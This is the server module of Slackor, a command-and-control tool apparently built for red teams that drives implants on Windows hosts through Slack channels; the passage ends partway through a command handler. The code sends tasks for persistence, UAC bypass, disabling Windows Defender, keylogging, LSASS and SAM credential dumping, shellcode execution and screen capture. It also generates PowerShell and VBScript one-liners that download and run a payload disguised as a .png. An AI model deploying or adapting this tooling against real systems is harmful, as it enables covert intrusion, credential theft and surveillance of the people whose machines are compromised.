github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/server.py (about)

     1  import os
     2  import re
     3  import json
     4  import time
     5  import base64
     6  import random
     7  import string
     8  import sqlite3
     9  import requests
    10  import threading
    11  from cmd import Cmd
    12  from Crypto.Cipher import AES
    13  from urllib.parse import urlparse
    14  from prettytable import PrettyTable
    15  from prettytable import PLAIN_COLUMNS
    16  try:
    17      from SpookFlare.lib import sfhta, sfvba
    18  except ModuleNotFoundError:
    19      print("WARNING: SpookFlare not found, clone with \"--recursive\" to be able to generate all stager types.")
    20  try:
    21      from pypykatz import pypykatz as pypykatzfile
    22      pypykatzClass = pypykatzfile.pypykatz
    23  except ModuleNotFoundError:
    24      print("WARNING: pypykatz not found, clone with \"--recursive\" to be able to extract credentials from .dmp files.")
    25  
    26  
    27  # Global list of all agents
    28  agent_list = []
    29  
    30  # List to hold all processed jobs
    31  processed_ids = []
    32  
    33  # Connect to database
    34  conn = sqlite3.connect('slackor.db')
    35  
    36  # Connect to database and get keys
    37  auths = conn.execute("SELECT * FROM KEYS")
    38  for row in auths:
    39      token = row[1]
    40      bearer = row[2]
    41      AES_SECRET_KEY = row[3]
    42  
    43  # Connect to database and get channels
    44  channels = conn.execute("SELECT * FROM CHANNELS")
    45  for row in channels:
    46      commands = row[1]
    47      responses = row[2]
    48      registration = row[3]
    49  
    50  # Populate agents list from database
    51  agents = conn.execute("SELECT * FROM AGENTS")
    52  for row in agents:
    53      agent = row[0]
    54      agent_list.append(agent)
    55  
    56  conn.close()
    57  
    58  # Variable to hold all processed jobs
    59  processed_ids = []
    60  
    61  # Crypto Stuff
    62  # heavily adapted from https://www.golang123.com/topic/1686
    63  IV = "1337133713371337"
    64  BS = len(AES_SECRET_KEY)
    65  pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
    66  unpad = lambda s: s[0:-ord(s[-1])]
    67  
    68  
    69  def color(string, color=None):  # Adds colors on Linux
    70      """
    71      Change text color for the Linux terminal.
    72      """
    73  
    74      attr = []
    75      # bold
    76      attr.append('1')
    77  
    78      if color:
    79          if color.lower() == "red":
    80              attr.append('31')
    81          elif color.lower() == "green":
    82              attr.append('32')
    83          elif color.lower() == "yellow":
    84              attr.append('33')
    85          elif color.lower() == "blue":
    86              attr.append('34')
    87          return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
    88  
    89  
    90  def bad_opsec():  # This is to validate with the user that they want to accept the risk
    91      response = input(color("This module is not OPSEC safe. Do you want to run it? (Y/n): ", "yellow"))
    92      if response.upper()[:1] == "Y":
    93          return True
    94      else:
    95          return False
    96  
    97  
    98  def filter_nonprintable(text):  # Strips out non-ascii chars from responses
    99      import string
   100      # Get the difference of all ASCII characters from the set of printable characters
   101      nonprintable = set([chr(i) for i in range(128)]).difference(string.printable)
   102      # Use translate to remove all non-printable characters
   103      return text.translate({ord(character): None for character in nonprintable})
   104  
   105  
   106  def validate_url(url):  # Check is a URL is valid
   107      regex = re.compile(
   108          r'^(?:http|ftp)s?://'  # http:// or https://
   109          r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|'  # domain...
   110          r'localhost|'  # localhost...
   111          r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'  # ...or ip
   112          r'(?::\d+)?'  # optional port
   113          r'(?:/?|[/?]\S+)$', re.IGNORECASE)
   114      if re.match(regex, url) is not None:
   115          return True
   116      else:
   117          return False
   118  
   119  
   120  def make_stager(filepath):  # Uploads a file to Slack and creates a one-liner to download an execute
   121      unique = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(4))
   122      files = {'file': open(filepath, 'rb')}
   123      data = {"filename": unique + ".txt", "token": token}
   124      r = requests.post("https://slack.com/api/files.upload", params=data, files=files)
   125      result = json.loads(r.text)
   126      file_id = result["file"]["id"]
   127      data = {"file": file_id, "token": token}
   128      headers = {'content-type': 'application/x-www-form-urlencoded'}
   129      r = requests.post("https://slack.com/api/files.sharedPublicURL", params=data, headers=headers)
   130      result = json.loads(r.text)
   131      permalink_public = result["file"]["permalink_public"]
   132      r = requests.get(permalink_public)
   133      look_for = 'class="file_header generic_header" href="'
   134      splitText = r.text.split(look_for, 1)[1]
   135      url = splitText[0:93]
   136      print(color("\nOne-liner to download and execute (best)\n", "blue"))
   137      PSoneliner = "powershell.exe iwr %s -o C:\\Users\\Public\\%s.png; forfiles.exe /p c:\\windows\\system32 /m svchost.exe" \
   138                 " /c C:\\Users\\Public\\%s.png; timeout 2; del C:\\Users\\Public\\%s.png" % (url, unique, unique, unique)
   139      print(PSoneliner)
   140      with open("output/" + unique + "_ps.txt", "w") as out_file:
   141          out_file.write(PSoneliner)
   142      print(color("Wrote one-liner at output/" + unique + "_ps.txt", "blue"))
   143      print(color("\nOne-liner (no Powershell): \n", "blue"))
   144      oneliner = "echo dim http_obj:dim stream_obj:set http_obj = CreateObject(\"Microsoft.XMLHTTP\"):set stream_obj = " \
   145      "CreateObject(\"ADODB.Stream\"):http_obj.open \"GET\", \"%s\", False:http_obj.send:stream_obj.type = 1" \
   146      ":stream_obj.open:stream_obj.write http_obj.responseBody:stream_obj.savetofile \"C:\\Users\\Public\\%s.png\", " \
   147      "2 > bld.vbs && bld.vbs && timeout 3 && del bld.vbs && C:\\Users\\Public\\%s.png" % (url, unique, unique)
   148      with open("output/" + unique + "_wscript.txt", "w") as out_file:
   149          out_file.write(oneliner)
   150      print(oneliner)
   151      print(color("Wrote one-liner at output/" + unique + "_wscript.txt\n", "blue"))
   152      return PSoneliner, unique
   153  
   154  
   155  def registration_monitor(bearer, registration, token, timestamp):  # Checks for newly registered bots
   156      global agent_list
   157      headers = {'Authorization': 'Bearer ' + bearer}
   158      data = {"channel": registration,
   159              "token": token, "oldest": timestamp}
   160      r = requests.post('https://slack.com/api/channels.history', headers=headers, data=data)
   161      result = json.loads(r.text)
   162      try:
   163          if result["error"]:  # Hit rate limit
   164              print(color("\n!!! Hit Slack API rate limit !!!\n "
   165                          "Consider killing agents, increasing beacon times, and/or sending less commands.", "yellow"))
   166              return
   167      except KeyError:  # No error condition
   168          pass
   169      for bots in result["messages"]:  # Iterate through each message in the channel
   170          bot = bots["text"]
   171          bot_info = bot.split(":")
   172          client_id = (bot_info[0])
   173          hostname = (bot_info[1])
   174          user = (bot_info[2])
   175          ip = (bot_info[3])
   176          version = (bot_info[4].strip("\n"))
   177          # Attempt to add agent info to database
   178          if client_id not in agent_list:
   179              if client_id.isupper() and len(client_id) == 5:  # Check client ID is valid
   180                  # TODO: Check for SQL injection (fixed maybe?)
   181                  try:
   182                      conn = sqlite3.connect('slackor.db')
   183                      conn.execute("INSERT OR IGNORE INTO AGENTS (ID,HOSTNAME,USER,IP,VERSION) VALUES "
   184                                   "(?,?,?,?,?)", (client_id, hostname, user, ip, version,))
   185                      conn.commit()
   186                      conn.close()
   187                      agent_list.append(client_id)
   188                      print(color(" New agent...", "red"))
   189                      print(color(client_id + "     " + hostname + "     " + user + "     " + ip + "     " + version, "blue"))
   190                  except Exception as e:
   191                      print("Database error inserting new agent" + str(e))
   192  
   193  
   194  def update_agents():  # Function to check for new agents
   195      while True:
   196          timestamp = str(time.time() - 5)[:-1]
   197          time.sleep(10)
   198          try:
   199              registration_monitor(bearer, registration, token, timestamp)
   200          except requests.exceptions.ConnectionError:
   201              print("Connection refused")
   202  
   203  
   204  def send_command(bearer, command, commands, client_id):  # Send a command to a client
   205      type = "command"
   206      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   207      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   208      headers = {'Authorization': 'Bearer ' + bearer}
   209      aes_encrypt = AES_ENCRYPT()
   210      command = aes_encrypt.encrypt(command)
   211      data = {"channel": commands, "text": prefix + command}
   212      print(color("Tasking job " + job_id + " to " + client_id + ":", "blue"))
   213      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   214  
   215  
   216  def check_responses():  # Function to check for new job responses
   217      while True:
   218          timestamp = str(time.time() - 4)[:-1]
   219          time.sleep(5)
   220          try:
   221              response_check(bearer, responses, token, timestamp)
   222          except requests.exceptions.ConnectionError:
   223              print("Connection refused ")
   224  
   225  
   226  def mimikatz(filepath):
   227      try:
   228          mimi = pypykatzClass.parse_minidump_file(filepath)
   229          results = {}
   230          results[filepath] = mimi
   231          for result in results:
   232              print('FILE: ======== %s =======' % result)
   233              if isinstance(results[result], str):
   234                  print(results[result])
   235              else:
   236                  for luid in results[result].logon_sessions:
   237                      print(str(results[result].logon_sessions[luid]))
   238  
   239                  if len(results[result].orphaned_creds) > 0:
   240                      print('== Orphaned credentials ==')
   241                      for cred in results[result].orphaned_creds:
   242                          print(str(cred))
   243      except:
   244          print("Could not parse .dmp file with pypykatz, try using mimikatz.exe on Windows.")
   245  
   246  def wipe_files():  # Retrieves all the files in workspace and then deletes them
   247      headers = {'Authorization': 'Bearer ' + bearer}
   248      data = {"token": token}
   249      r = requests.post('https://slack.com/api/files.list', headers=headers, data=data)
   250      result = json.loads(r.text)
   251      for file in result["files"]:
   252          print(color("Deleting " + file["name"], "blue"))
   253          data = {"token": token, "file": file["id"]}
   254          r = requests.post('https://slack.com/api/files.delete', headers=headers, data=data)
   255  
   256  
   257  def response_check(bearer, responses, token, timestamp):
   258      aes_encrypt = AES_ENCRYPT()
   259      global processed_ids
   260      headers = {'Authorization': 'Bearer ' + bearer}
   261      data = {"channel": responses,
   262              "token": token, "oldest": timestamp, }
   263      # This request gets the latest messages from the channel
   264      r = requests.post('https://slack.com/api/channels.history', headers=headers, data=data)
   265      # Parse the response
   266      try:
   267          result = json.loads(r.text)
   268      except json.decoder.JSONDecodeError:
   269          print(r.text)
   270      longJobs = {}
   271      # Loop through each message since last check
   272      try:
   273          if result["error"]:
   274              print(color("\nHit Slack API rate limit!!!\n "
   275                          "Consider killing agents, increasing beacon times, and sending less commands.", "yellow"))
   276              return
   277      except KeyError:
   278          pass
   279      for demand in reversed(result["messages"]):
   280          text = demand["text"]
   281          instructions = text.split(":")
   282          type = (instructions[2])
   283          job_id = (instructions[1])
   284          cid = (instructions[0])
   285          if cid.isupper() and len(cid) == 5:  # Make sure CID is valid before continuing
   286              if job_id not in processed_ids:
   287                  if type == "download":  # If type is download, download the file
   288                      url = base64.b64decode((instructions[3])).decode('UTF-8')
   289                      processed_ids.append(job_id)
   290                      parsed_uri = urlparse(url)
   291                      domain = '{uri.netloc}'.format(uri=parsed_uri)
   292                      if domain == "files.slack.com":  # Make sure we are only downloading from Slack
   293                          print(color("\nDownloading Encrypted file at: " + url + "...", "blue"))
   294                          if url == '':
   295                              print(color("\nMessage from client " + cid + ":", "blue"))
   296                              print("File not found.  Validate that the file path is correct.")
   297                          else:
   298                              if '/' in url:
   299                                  filename = (url.rsplit('/', 1)[1])
   300                              else:
   301                                  filename = url
   302                              # Here we take the Slack URL from the response and download it
   303                              header = {'Authorization': 'Bearer ' + token}
   304                              payload = requests.get(url, headers=header)
   305                              # Todo: Check for path traversal; Slack URLs already cover this but good to double check
   306                              open("loot/" + filename, 'wb').write(aes_encrypt.decryptFile(payload.content))
   307                              print(color("Downloaded " + filename + " from " + cid, "blue"))
   308                              # Post download options
   309                              if filename.startswith("security_"):  # If it's the last registry hive,run secretsdump.py
   310                                  command = "secretsdump.py LOCAL -sam loot/sam_{} -system loot/sys_{} " \
   311                                            "-security loot/security_{}".format(cid.lower(), cid.lower(), cid.lower())
   312                                  if os.path.isdir("impacket"):
   313                                      os.system(command)  # Todo: Migrate to call the python functions from impacket
   314                                  else:
   315                                      print("Impacket not found, clone with \"--recursive\" "
   316                                            "to be able to automatically dump hashes")
   317                              try:
   318                                  if filename.split(".",1)[1] == "dmp":  # If minidump, try to run pypykatz on it
   319                                      mimikatz("loot/" + filename)
   320                              except IndexError:
   321                                  pass
   322  
   323                  elif type == "output":  # If type is "output" print the result of the command
   324                      text = aes_encrypt.decrypt(instructions[3]).decode('UTF-8')
   325                      processed_ids.append(job_id)
   326                      print(
   327                          color("\nMessage from client " + cid + " for job " + job_id + ":\n", "blue") + filter_nonprintable(
   328                              text))
   329  
   330                  # Todo: Fix this to accept multiple cont messages from different agents
   331                  elif type == "cont":  # If type is cont, it is a multi-message response. build up the response string.
   332                      text = instructions[3]
   333                      try:
   334                          if longJobs[job_id]:
   335                              # The key exists, append the message
   336                              longJobs[job_id] += text
   337                      except KeyError:
   338                          # First message from a longJob, initialize the key
   339                              longJobs[job_id] = text
   340  
   341      if longJobs != "":  # If there are any longJobs, loop through them
   342          for key in longJobs:
   343              processed_ids.append(key)
   344              print(color("\nMessage response for job " + key + ":\n", "blue"))
   345              try:
   346                  text = aes_encrypt.decrypt(longJobs[key]).decode('UTF-8')
   347                  print(filter_nonprintable(text))
   348              except UnicodeDecodeError:
   349                  print("Response contains non-unicode characters.  Could not print to terminal.")
   350  
   351  
   352  def kill(bearer, commands, client_id):  # Function to send a kill command to an agent
   353      type = "kill"
   354      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   355      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   356      headers = {'Authorization': 'Bearer ' + bearer}
   357      data = {"channel": commands, "text": prefix}
   358      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   359  
   360  
   361  def upload(bearer, commands, client_id, file_url):  # Function to upload a file on the target
   362      type = "upload"
   363      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   364      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   365      headers = {'Authorization': 'Bearer ' + bearer}
   366      aes_encrypt = AES_ENCRYPT()
   367      file = aes_encrypt.encrypt(file_url)
   368      data = {"channel": commands, "text": prefix + file}
   369      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   370  
   371  def minidump(bearer, commands, client_id):  # dumps lsass on target
   372      type = "minidump"
   373      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   374      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   375      headers = {'Authorization': 'Bearer ' + bearer}
   376      aes_encrypt = AES_ENCRYPT()
   377      data = {"channel": commands, "text": prefix}
   378      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   379  
   380  
   381  def upload_file(filepath):  # This function uploads a file given a local(server) file-path
   382      if '\\' in filepath:
   383          filename = (filepath.rsplit('\\', 1)[1])
   384      elif '/' in filepath:
   385          filename = (filepath.rsplit('/', 1)[1])
   386      else:
   387          filename = filepath
   388      try:
   389          filepath = filepath.strip('\'').strip('\"')  # Strip quotes
   390          files = {'file': open(filepath, 'rb')}
   391          data = {"filename": filename, "token": token}
   392          r = requests.post("https://slack.com/api/files.upload", params=data, files=files)
   393          result = json.loads(r.text)
   394          # Slack URL of the uploaded file
   395          return result["file"]["url_private_download"]
   396      except FileNotFoundError:
   397          print(color("File not Found", "yellow"))
   398          return False
   399      except OSError:
   400          print(color("File not Found", "yellow"))
   401          return False
   402  
   403  
   404  def sleep(bearer, commands, client_id, sleeptime):  # Function to send a sleep command to an agent
   405      type = "sleep"
   406      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   407      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   408      headers = {'Authorization': 'Bearer ' + bearer}
   409      aes_encrypt = AES_ENCRYPT()
   410      sleeptime = aes_encrypt.encrypt(sleeptime)
   411      data = {"channel": commands, "text": prefix + sleeptime}
   412      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   413  
   414  
   415  def persist(bearer, commands, client_id, mode):  # Function to add persistence
   416      type = "persist"
   417      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   418      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   419      headers = {'Authorization': 'Bearer ' + bearer}
   420      aes_encrypt = AES_ENCRYPT()
   421      mode = aes_encrypt.encrypt(mode)
   422      data = {"channel": commands, "text": prefix + mode}
   423      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   424  
   425  def cleanup(bearer, commands, client_id, mode):  # Function to remove persistence
   426      type = "clean"
   427      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   428      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   429      headers = {'Authorization': 'Bearer ' + bearer}
   430      aes_encrypt = AES_ENCRYPT()
   431      mode = aes_encrypt.encrypt(mode)
   432      data = {"channel": commands, "text": prefix + mode}
   433      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   434  
   435  
   436  def bypassuac(bearer, commands, client_id, mode):  # Function to bypass UAC
   437      type = "elevate"
   438      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   439      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   440      headers = {'Authorization': 'Bearer ' + bearer}
   441      aes_encrypt = AES_ENCRYPT()
   442      mode = aes_encrypt.encrypt(mode)
   443      data = {"channel": commands, "text": prefix + mode}
   444      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   445  
   446  
   447  def screenshot(bearer, commands, client_id):  # Function to screenshot
   448      type = "screenshot"
   449      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   450      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   451      headers = {'Authorization': 'Bearer ' + bearer}
   452      data = {"channel": commands, "text": prefix}
   453      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   454  
   455  def samdump(bearer, commands, client_id):  # Function to dump SAM and SYSTEM files
   456      type = "samdump"
   457      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   458      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   459      headers = {'Authorization': 'Bearer ' + bearer}
   460      data = {"channel": commands, "text": prefix}
   461      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   462  
   463  def revive(bearer, commands):  # Function to have agents re-register in case some became orphaned
   464      type = "revive"
   465      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   466      prefix = bytes("31337" + ":" + job_id + ":" + type + ":", 'utf-8')
   467      headers = {'Authorization': 'Bearer ' + bearer}
   468      data = {"channel": commands, "text": prefix}
   469      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   470  
   471  
   472  def sysinfo(bearer, commands, client_id):  # Function gather system info
   473      type = "sysinfo"
   474      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   475      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   476      headers = {'Authorization': 'Bearer ' + bearer}
   477      data = {"channel": commands, "text": prefix}
   478      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   479  
   480  
   481  def duplicate(bearer, commands, client_id):  # spawns another agent
   482      type = "duplicate"
   483      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   484      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   485      headers = {'Authorization': 'Bearer ' + bearer}
   486      data = {"channel": commands, "text": prefix}
   487      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   488  
   489  def clipboard(bearer, commands, client_id):  # spawns another agent
   490      type = "clipboard"
   491      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   492      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   493      headers = {'Authorization': 'Bearer ' + bearer}
   494      data = {"channel": commands, "text": prefix}
   495      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   496  
   497  def getsystem(bearer, commands, client_id):  # gets SYSTEM privs
   498      type = "getsystem"
   499      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   500      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   501      headers = {'Authorization': 'Bearer ' + bearer}
   502      data = {"channel": commands, "text": prefix}
   503      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   504  
   505  
   506  def defanger(bearer, commands, client_id, mode):  # Function to de-fang Windows Defender
   507      type = "defanger"
   508      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   509      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   510      headers = {'Authorization': 'Bearer ' + bearer}
   511      aes_encrypt = AES_ENCRYPT()
   512      mode = aes_encrypt.encrypt(mode)
   513      data = {"channel": commands, "text": prefix + mode}
   514      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   515  
   516  def keyscan(bearer, commands, client_id, mode):  # Function to manage keylogger
   517      type = "keyscan"
   518      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   519      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   520      headers = {'Authorization': 'Bearer ' + bearer}
   521      aes_encrypt = AES_ENCRYPT()
   522      mode = aes_encrypt.encrypt(mode)
   523      data = {"channel": commands, "text": prefix + mode}
   524      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   525  '''
   526  def metasploit(bearer, commands, client_id, url):  # Function execute Meterpreter on target
   527      type = "metasploit"
   528      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   529      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   530      headers = {'Authorization': 'Bearer ' + bearer}
   531      aes_encrypt = AES_ENCRYPT()
   532      url = aes_encrypt.encrypt(url)
   533      data = {"channel": commands, "text": prefix + url}
   534      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   535  '''
   536  def shellcode(bearer, commands, client_id, filepath):  # Function execute shellcode on target
   537      type = "shellcode"
   538      if '\\' in filepath:
   539          filename = (filepath.rsplit('\\', 1)[1])
   540      elif '/' in filepath:
   541          filename = (filepath.rsplit('/', 1)[1])
   542      else:
   543          filename = filepath
   544      try:
   545          filepath = filepath.strip('\'').strip('\"')  # Strip quotes
   546          files = {'file': open(filepath, 'rb')}
   547          data = {"filename": "shellcode.txt", "token": token}
   548          r = requests.post("https://slack.com/api/files.upload", params=data, files=files)
   549          result = json.loads(r.text)
   550          # Slack URL of the uploaded file
   551          url = result["file"]["url_private_download"]
   552      except FileNotFoundError:
   553          print(color("File not Found", "yellow"))
   554          return False
   555      except OSError:
   556          print(color("File not Found", "yellow"))
   557          return False
   558      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   559      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   560      headers = {'Authorization': 'Bearer ' + bearer}
   561      aes_encrypt = AES_ENCRYPT()
   562      print (url)
   563      url = aes_encrypt.encrypt(url)
   564      data = {"channel": commands, "text": prefix + url}
   565      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   566  
   567  def beacon(bearer, commands, client_id, beacon):  # Function to change beacon time
   568      type = "beacon"
   569      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   570      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   571      headers = {'Authorization': 'Bearer ' + bearer}
   572      aes_encrypt = AES_ENCRYPT()
   573      beacon = aes_encrypt.encrypt(beacon)
   574      data = {"channel": commands, "text": prefix + beacon}
   575      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   576  
   577  
   578  def download(bearer, commands, client_id, filepath):  # Function to retrieve a file from the agent
   579      type = "download"
   580      job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
   581      prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8')
   582      headers = {'Authorization': 'Bearer ' + bearer}
   583      filepath = filepath.strip('\'').strip('\"')
   584      aes_encrypt = AES_ENCRYPT()
   585      filepath = aes_encrypt.encrypt(filepath)
   586      data = {"channel": commands, "text": prefix + filepath}
   587      r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data)
   588  
   589  
   590  class AES_ENCRYPT(object):  # heavily adapted from https://www.golang123.com/topic/1686
   591      def __init__(self):
   592          self.key = AES_SECRET_KEY
   593          self.mode = AES.MODE_CBC
   594  
   595      def encrypt(self, text):
   596          cryptor = AES.new(self.key, self.mode, IV)
   597          self.ciphertext = cryptor.encrypt(pad(text))
   598          return base64.b64encode(self.ciphertext)
   599  
   600      def decrypt(self, text):
   601          decode = base64.b64decode(text)
   602          cryptor = AES.new(self.key, self.mode, IV)
   603          plain_text = cryptor.decrypt(decode)
   604          return plain_text
   605  
   606      def decryptFile(self, text):
   607          cryptor = AES.new(self.key, self.mode, IV)
   608          plain_text = cryptor.decrypt(text)
   609          return plain_text
   610  
   611  
   612  class AgentCmd(Cmd):  # Class for all the modules when interacting with an agent
   613  
   614      def emptyline(self):
   615          pass
   616  
   617      def do_sleep(self, args):
   618          """SLEEP - Causes the agent to sleep once.  Time must be in seconds.
   619               Example: sleep 5"""
   620          try:
   621              # Test if value is an integer, bail if not
   622              sleep_test = int(args)
   623              sleep(bearer, commands, self.target, args)
   624              print(color("Tasking " + self.target + " to sleep for " + args + " seconds...", "blue"))
   625          except ValueError:
   626              print(color("Sleep value must be an integer.  (Number of seconds)", "yellow"))
   627  
   628      def do_persist(self, args):
   629          """PERSIST - Establishes persistence on the target
   630          Example: persist registry"""
   631          if (args == "scheduler") or (args == "registry"):
   632                  print(color("RISK: Writes to disk, executes cmd.exe", "yellow"))
   633                  if bad_opsec():
   634                      persist(bearer, commands, self.target, args)
   635                      print(color("Establishing persistence on " + self.target, "blue"))
   636          elif args == "wmi":
   637              conn = sqlite3.connect('slackor.db')
   638              cursor = conn.execute("SELECT user from AGENTS where id='" + self.target + "'")
   639              user = cursor.fetchone()
   640              if user[0].endswith('*'):
   641                  print(color("RISK: Writes to disk, executes cmd.exe", "yellow"))
   642                  if bad_opsec():
   643                      persist(bearer, commands, self.target, args)
   644                      print(color("Establishing persistence on " + self.target, "blue"))
   645          else:
   646                  print(color("Please supply an additional argument [scheduler|registry|wmi]", "blue"))
   647  
   648      def do_cleanup(self, args):
   649          """CLEANUP - Removes artifacts on disk
   650          Example: cleanup registry"""
   651          if (args == "scheduler") or (args == "registry"):
   652              print(color("RISK: Executes cmd.exe", "yellow"))
   653              if bad_opsec():
   654                  cleanup(bearer, commands, self.target, args)
   655                  print(color("Removing persistence on " + self.target, "blue"))
   656              else:
   657                  print(color("You need to specify a persistence method" "Yellow"))
   658          elif (args == "realtime") or (args == "exclusion") or (args == "signature"):
   659              print(color("RISK: Executes powershell.exe", "yellow"))
   660              if bad_opsec():
   661                  cleanup(bearer, commands, self.target, args)
   662                  print(color("Restoring AV on " + self.target, "blue"))
   663  
   664          elif args == "wmi":
   665              print(color("RISK: Executes powershell.exe", "yellow"))
   666              if bad_opsec():
   667                  cleanup(bearer, commands, self.target, args)
   668                  print(color("Removing persistence on " + self.target, "blue"))
   669          else:
   670              print(color("Please supply an additional argument "
   671                          "[scheduler|registry|realtime|exclusion|signature]", "blue"))
   672  
   673      def complete_persist(self, text, line, start_index, end_index):
   674          modes = ["registry", "scheduler", "wmi"]
   675          if text:
   676              return [
   677                  mode for mode in modes
   678                  if mode.startswith(text.lower())
   679              ]
   680          else:
   681              return modes
   682  
   683      def complete_cleanup(self, text, line, start_index, end_index):
   684          modes = ["registry", "scheduler", "exclusion", "realtime", "signature", "wmi"]
   685          if text:
   686              return [
   687                  mode for mode in modes
   688                  if mode.startswith(text.lower())
   689              ]
   690          else:
   691              return modes
   692  
   693      def complete_keyscan(self, text, line, start_index, end_index):
   694          modes = ["stop", "start", "dump"]
   695          if text:
   696              return [
   697                  mode for mode in modes
   698                  if mode.startswith(text.lower())
   699              ]
   700          else:
   701              return modes
   702  
   703      def complete_defanger(self, text, line, start_index, end_index):
   704          modes = ["realtime", "exclusion", "signature"]
   705          if text:
   706              return [
   707                  mode for mode in modes
   708                  if mode.startswith(text.lower())
   709              ]
   710          else:
   711              return modes
   712  
   713      def complete_bypassuac(self, text, line, start_index, end_index):
   714          modes = ["fodhelper", "ask"]
   715          if text:
   716              return [
   717                  mode for mode in modes
   718                  if mode.startswith(text.lower())
   719              ]
   720          else:
   721              return modes
   722  
   723      def do_bypassuac(self, args):
   724          """BYPASSUAC - Attempts to spawn a new agent with high integrity."""
   725          if args == "fodhelper":
   726              print(color("RISK: Writes to disk, executes cmd.exe", "yellow"))
   727              if bad_opsec():
   728                  bypassuac(bearer, commands, self.target, args)
   729                  print(color("Elevating " + self.target, "blue"))
   730  
   731          elif args == "ask":
   732              print(color("RISK: Writes to disk and pops up a UAC alert!", "yellow"))
   733              if bad_opsec():
   734                  bypassuac(bearer, commands, self.target, args)
   735                  print(color("Requesting elevation from user on " + self.target, "blue"))
   736          else:
   737              print(color("Please supply an additional argument [fodhelper|ask]", "blue"))
   738  
   739      def do_screenshot(self, args):
   740          """SCREENSHOT - Screenshots the current desktop and downloads files"""
   741          print(color("RISK: Writes to disk", "yellow"))
   742          if bad_opsec():
   743              screenshot(bearer, commands, self.target)
   744              print(color("screenshotting " + self.target, "blue"))
   745  
   746      def do_samdump(self, args):
   747          """SAMDUMP - Attempts to dump the SAM, SYSTEM and SECURITY files for offline hash extraction"""
   748          conn = sqlite3.connect('slackor.db')
   749          cursor = conn.execute("SELECT user from AGENTS where id='" + self.target + "'")
   750          user = cursor.fetchone()
   751          if user[0].endswith('*'):
